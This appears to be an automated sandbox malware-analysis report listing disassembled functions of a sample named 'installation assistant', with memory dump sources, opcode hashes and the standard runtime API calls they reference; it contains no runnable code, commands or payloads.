                                          • Opcode Fuzzy Hash: 070d0fd322238de923fe1a2eebb0020640b7b085cfb472be6ac79834afb9933a
                                          • Instruction Fuzzy Hash: 24B17175A012408FC381CF29C884244BBA2FF8536CB7A969ED4548F646E337E887CBD1
                                          Function 6CAF4870 Relevance: .3, Instructions: 298COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 1abcbd09df316e1226b3bd6821a11b0a668bf7f1b83a95c986258978a9b95a2f
                                          • Instruction ID: 3b9449a314adf8ff53c45e08d7676b060fe9ffee35c65b346631b4684fb56b5e
                                          • Opcode Fuzzy Hash: 1abcbd09df316e1226b3bd6821a11b0a668bf7f1b83a95c986258978a9b95a2f
                                          • Instruction Fuzzy Hash: 9BD1E7B1848B9A5FD394EF4DEC81A357762AB88301F4A8239DB6007753D634BB12D794
                                          Function 6CACE810 Relevance: .3, Instructions: 296COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d6cb5a5b9c3abea019be7d104db6e1742bcc809bf8f8dd5f8f219f0a705516a1
                                          • Instruction ID: 8a11e4b23707f1fb3ec588dfd5b707a622ed7cbe9533d1ebcbc19179564c2b1d
                                          • Opcode Fuzzy Hash: d6cb5a5b9c3abea019be7d104db6e1742bcc809bf8f8dd5f8f219f0a705516a1
                                          • Instruction Fuzzy Hash: 93B1C131304B054BD324DF39C9917EAB7E1AF85708F04452DC5AA8BB81EF35A98DC796
                                          Function 6CAD45D0 Relevance: .2, Instructions: 224COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7f5f8248f8a18455fd1713549b4a266ce9d34d374119e8c9520886de18fa66fd
                                          • Instruction ID: 6a11b369972baf1a9d5507ba1dd9f398cb8679695460a2c8801cabefda4c4831
                                          • Opcode Fuzzy Hash: 7f5f8248f8a18455fd1713549b4a266ce9d34d374119e8c9520886de18fa66fd
                                          • Instruction Fuzzy Hash: C56123B27082158FD308CF99E580A96B7E5EB99321B1685BFE105CF361E771DC85CB18
                                          Function 6CAE8520 Relevance: .2, Instructions: 216COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 1e144e3ab01ad0c1374fc479d6e69199773169d0809bfde8fbea9fa4d5497ab0
                                          • Instruction ID: deb543cbf047d363f9264da94a16cb22fd38aa2a24af5aa420f0ddfa92c7767c
                                          • Opcode Fuzzy Hash: 1e144e3ab01ad0c1374fc479d6e69199773169d0809bfde8fbea9fa4d5497ab0
                                          • Instruction Fuzzy Hash: A7917F7281871A8BD314CF1CD88025AB7E0FB88318F49067DED9AA7341D739EA55CBD5
                                          Function 6CA70B66 Relevance: .2, Instructions: 167COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e7510d37d1dc4b924ec4f7ba8427fb7a6be5c38a378ebc779dfd7017bf70bacd
                                          • Instruction ID: 371d4daa769d4e3c7306cb74acd6b569d7ced48012fa77a6b6984166c3b35172
                                          • Opcode Fuzzy Hash: e7510d37d1dc4b924ec4f7ba8427fb7a6be5c38a378ebc779dfd7017bf70bacd
                                          • Instruction Fuzzy Hash: D2519E76E006099FDB08CF98D9A16ADB7F2FB88308F248169D011E7782D7759A81CB50
                                          Function 6CA72EC9 Relevance: .1, Instructions: 136COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 72c1d2a683874879174d131ccb4dddd1e2f70cb764b1e7878fe2ff4eea78678e
                                          • Instruction ID: ffde59ad94a6f47d5cf492ee448fbdb24dfbd98d9415f63aeeeaffac89a9f6eb
                                          • Opcode Fuzzy Hash: 72c1d2a683874879174d131ccb4dddd1e2f70cb764b1e7878fe2ff4eea78678e
                                          • Instruction Fuzzy Hash: 4631142B7A440143D71CCD3BCC1679F91636BD462A70ECF396C05DEF55D52CC8524154
                                          Function 6CADEEF0 Relevance: .1, Instructions: 123COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2e506fc7279a820970dcbf9ac392f20d839b71f7c0b8c4e9d2c3673edf14b0ee
                                          • Instruction ID: aa84161b705d5caa868e06e827938955021c21fa5de0c6d141dfb36c261b77a9
                                          • Opcode Fuzzy Hash: 2e506fc7279a820970dcbf9ac392f20d839b71f7c0b8c4e9d2c3673edf14b0ee
                                          • Instruction Fuzzy Hash: D2310873504A050AF301852E8D84357F263DBCA368F6FC769D96687EECDA71B9C78182
                                          Function 6CAE6820 Relevance: .1, Instructions: 112COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 69d074c34a2def6d804bdbc3328af019823b1a6a4464c67451b70719eeaddbc9
                                          • Instruction ID: a156787e91db92d2ae1c246c102fd952ab3868cdb666dd6719a615aab655cd0a
                                          • Opcode Fuzzy Hash: 69d074c34a2def6d804bdbc3328af019823b1a6a4464c67451b70719eeaddbc9
                                          • Instruction Fuzzy Hash: 5E4192B190470A8BD704CF19C89056AB3E4FF88318F454A6DEA5AD7341E330FA55CBD1
                                          Function 6CAF46C0 Relevance: .1, Instructions: 88COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d2e9eb99358111aa00ddd4771d36b21c13931b70b848b90c87e332bda565fdca
                                          • Instruction ID: 9009574daebd79dcf43965cb27b40e00e25acf57123b5afed61f69405c5df29e
                                          • Opcode Fuzzy Hash: d2e9eb99358111aa00ddd4771d36b21c13931b70b848b90c87e332bda565fdca
                                          • Instruction Fuzzy Hash: 282106B1A047E607F7209E6DCC8027577D29BC2305F0D4279EAB48EA87D17994A3D664
                                          Function 6CAFA91A Relevance: .1, Instructions: 73COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2f6c02fb19c880906673f7e2ee61692b55198f776a78d908325c4e40f91ba080
                                          • Instruction ID: 294a6873fddc72c74d65f3e9fef3af112d6c2814a72f973204d6696ee04ab1ce
                                          • Opcode Fuzzy Hash: 2f6c02fb19c880906673f7e2ee61692b55198f776a78d908325c4e40f91ba080
                                          • Instruction Fuzzy Hash: 3B210A7251542547C301DF5DE8C86B7B3E2FFC431DF678A3AE9A28B581C634D885D6A0
                                          Function 6CAFAA00 Relevance: .1, Instructions: 73COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d76c5a5bc13364a97e7cc912041d9df0cf3f333301463df377c6d5e010c89ef9
                                          • Instruction ID: d618a6b50b16adf450aa893324d196eeb1c622fb23260240ad01759b2c311edc
                                          • Opcode Fuzzy Hash: d76c5a5bc13364a97e7cc912041d9df0cf3f333301463df377c6d5e010c89ef9
                                          • Instruction Fuzzy Hash: 2A21F6336011188BC701EF6AD9846DB73A6FBC4365F67C629ED9147640C631E90A8650
                                          Function 6CAE67A0 Relevance: .0, Instructions: 41COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b8de0586c271a62662545cbcc3a7a3f305336ecaaee466a7150af84251bbb2fa
                                          • Instruction ID: 004a2a39dd8687137dad4245ee317b07241411f92b87b619051a3231ee2ff3f6
                                          • Opcode Fuzzy Hash: b8de0586c271a62662545cbcc3a7a3f305336ecaaee466a7150af84251bbb2fa
                                          • Instruction Fuzzy Hash: 3601817291462E57DB189F48CC41136B390FB85312F49863ADD479B385E734F970D6D4
                                          Function 6CA39D66 Relevance: .0, Instructions: 29COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 76b196fbfb4d69bed6ab26e412549937eaa017024931de041460f9674ff94ecc
                                          • Instruction ID: b7f06a68125595bf0a9b31e64b69b948f4e8ff7678f1845811358d4f4fb8a081
                                          • Opcode Fuzzy Hash: 76b196fbfb4d69bed6ab26e412549937eaa017024931de041460f9674ff94ecc
                                          • Instruction Fuzzy Hash: 71F0E532A10330DBCB12DB5CC502B9973BCEB45BA5F151096E408DB640C7B8DD84C7C0
                                          Function 6CA39D35 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 1cade3b8bd37eadd8f509832e5cf264ebb44d36771f29a864de074982515b943
                                          • Instruction ID: 810f2ac225c63e8d5aa3fd962a14fb52dd9d6323527021e67dfb98772547c254
                                          • Opcode Fuzzy Hash: 1cade3b8bd37eadd8f509832e5cf264ebb44d36771f29a864de074982515b943
                                          • Instruction Fuzzy Hash: DDE08C72A12238EBCB16EB98CA11D8AB3ECEB44A85B110096B505D3610D670DE44C7D0
                                          Function 6CA8EB50 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 341COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: @$p&L$p&L$p&L$p&L$p&L$p&L$p&L$p&L
                                          • API String ID: 3519838083-609671
                                          • Opcode ID: 484af5ae81cb977d174bd25b2e3a21fa57463062f16cd0331cc52001b19bc208
                                          • Instruction ID: 1e171ca64ad94ff410a7fb95c5f13a8a544edeaeb94fc5d740d5e3cdddae6145
                                          • Opcode Fuzzy Hash: 484af5ae81cb977d174bd25b2e3a21fa57463062f16cd0331cc52001b19bc208
                                          • Instruction Fuzzy Hash: ACD1D675A0620AEFCF15CFA4DA80BEEB7B5FF05308F148519E055A7A50DB709D89CBA0
                                          Function 6CA76798 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 461COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: __aulldiv$H_prolog
                                          • String ID: >WJ$x$x
                                          • API String ID: 2300968129-3162267903
                                          • Opcode ID: 949a4121937ebe046e830a9d183576ad129ffcf0ce56193b78953cd7febb835e
                                          • Instruction ID: 2a5979c38a7a01128f69d7b79d78b85d4d3796f0a58413a2b956e018b4c8da7b
                                          • Opcode Fuzzy Hash: 949a4121937ebe046e830a9d183576ad129ffcf0ce56193b78953cd7febb835e
                                          • Instruction Fuzzy Hash: C1126875900209EFDF20DFA4C984AEDBBB5FF48318F248169E819AB750D7359989CF60
                                          Function 6CA29AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON
                                          Download Yara Rule
                                          APIs
                                          • _ValidateLocalCookies.LIBCMT ref: 6CA29B07
                                          • ___except_validate_context_record.LIBVCRUNTIME ref: 6CA29B0F
                                          • _ValidateLocalCookies.LIBCMT ref: 6CA29B98
                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 6CA29BC3
                                          • _ValidateLocalCookies.LIBCMT ref: 6CA29C18
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                          • String ID: csm
                                          • API String ID: 1170836740-1018135373
                                          • Opcode ID: ffcbadd9d2f1c65441f1651f9bd0531fd669ee4a06cf2bcd290b6e333e16d428
                                          • Instruction ID: 23c9c1be53523b9ed9d2f2c22ab849568d17e4cfb28a56797e6130c34f63464e
                                          • Opcode Fuzzy Hash: ffcbadd9d2f1c65441f1651f9bd0531fd669ee4a06cf2bcd290b6e333e16d428
                                          • Instruction Fuzzy Hash: 0E41E534A102299FCF00DF78CA90ADE7FB5BF45718F188155E8189BB51D73ADA89CB90
                                          Function 6CA36E9A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: api-ms-$ext-ms-
                                          • API String ID: 0-537541572
                                          • Opcode ID: f87d5127bf0a23708489c97d4756e3327cc9d6c8cd1243735e3e9f6f9c5ec700
                                          • Instruction ID: 6e265d11183e190e59b70cf48e16832b7b63315d06a39da1d25f9fb8baebbe25
                                          • Opcode Fuzzy Hash: f87d5127bf0a23708489c97d4756e3327cc9d6c8cd1243735e3e9f6f9c5ec700
                                          • Instruction Fuzzy Hash: 29210832A16631ABDB128B29CC51A0A77B8BF42768F296254FD1DE7B80D770DC9185E0
                                          Function 6CA3BEB1 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetConsoleCP.KERNEL32(?,6CA3B0D0,?), ref: 6CA3BEF9
                                          • __fassign.LIBCMT ref: 6CA3C0D8
                                          • __fassign.LIBCMT ref: 6CA3C0F5
                                          • WriteFile.KERNEL32(?,6CA45AB6,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA3C13D
                                          • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6CA3C17D
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA3C229
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: FileWrite__fassign$ConsoleErrorLast
                                          • String ID:
                                          • API String ID: 4031098158-0
                                          • Opcode ID: 4f624a510f5cb7944f6a937d0ffed796e580d42e3248434b08534c7f5f32b583
                                          • Instruction ID: 0523e0766a61f16cfee76d51fbe9228c7ec9b333369b67372c3c7281341f9f60
                                          • Opcode Fuzzy Hash: 4f624a510f5cb7944f6a937d0ffed796e580d42e3248434b08534c7f5f32b583
                                          • Instruction Fuzzy Hash: 12D1BC71D002689FCB04DFE8C8909EDBBB5BF49318F285259E859F7201D731A98ACF50
                                          Function 6C8F2F60 Relevance: 9.1, APIs: 6, Instructions: 107COMMON
                                          Download Yara Rule
                                          APIs
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 6C8F2F95
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 6C8F2FAF
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 6C8F2FD0
                                          • __Getctype.LIBCPMT ref: 6C8F3084
                                          • std::_Facet_Register.LIBCPMT ref: 6C8F309C
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 6C8F30B7
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
                                          • String ID:
                                          • API String ID: 1102183713-0
                                          • Opcode ID: 8478c1595c7a4b65a80ca6e075df47e2e5e948dca3312dc8a35824cc3d6512d4
                                          • Instruction ID: 03bf1746267c442b556533a2f4d2660061cfa1ac089485dbf837e98a2b5c3055
                                          • Opcode Fuzzy Hash: 8478c1595c7a4b65a80ca6e075df47e2e5e948dca3312dc8a35824cc3d6512d4
                                          • Instruction Fuzzy Hash: 9841ABB1E00254CFCB20CF88CA50BAEB7B0FF44754F044529D869ABB50D738AA49CF91
                                          Function 6CA64FA6 Relevance: 9.1, APIs: 6, Instructions: 95COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: __aulldiv$__aullrem
                                          • String ID:
                                          • API String ID: 2022606265-0
                                          • Opcode ID: 1f394eef11d621d2b0abd6c005444ee54f283a007719147bbe3c0d60170dbe25
                                          • Instruction ID: 01c2ba6153d2e50a7b7b9426457152a1207dc9f24bfd5badb05994e59e597d27
                                          • Opcode Fuzzy Hash: 1f394eef11d621d2b0abd6c005444ee54f283a007719147bbe3c0d60170dbe25
                                          • Instruction Fuzzy Hash: CE21D030901219FFDF218F968D40DCFBA79EF417A8F248226B520A2AD0D2718DE4C7A1
                                          Function 6CA6A6EC Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 183COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog.LIBCMT ref: 6CA6A6F1
                                            • Part of subcall function 6CA79173: __EH_prolog.LIBCMT ref: 6CA79178
                                          • __EH_prolog.LIBCMT ref: 6CA6A8F9
                                          Strings
                                          Memory Dump Source
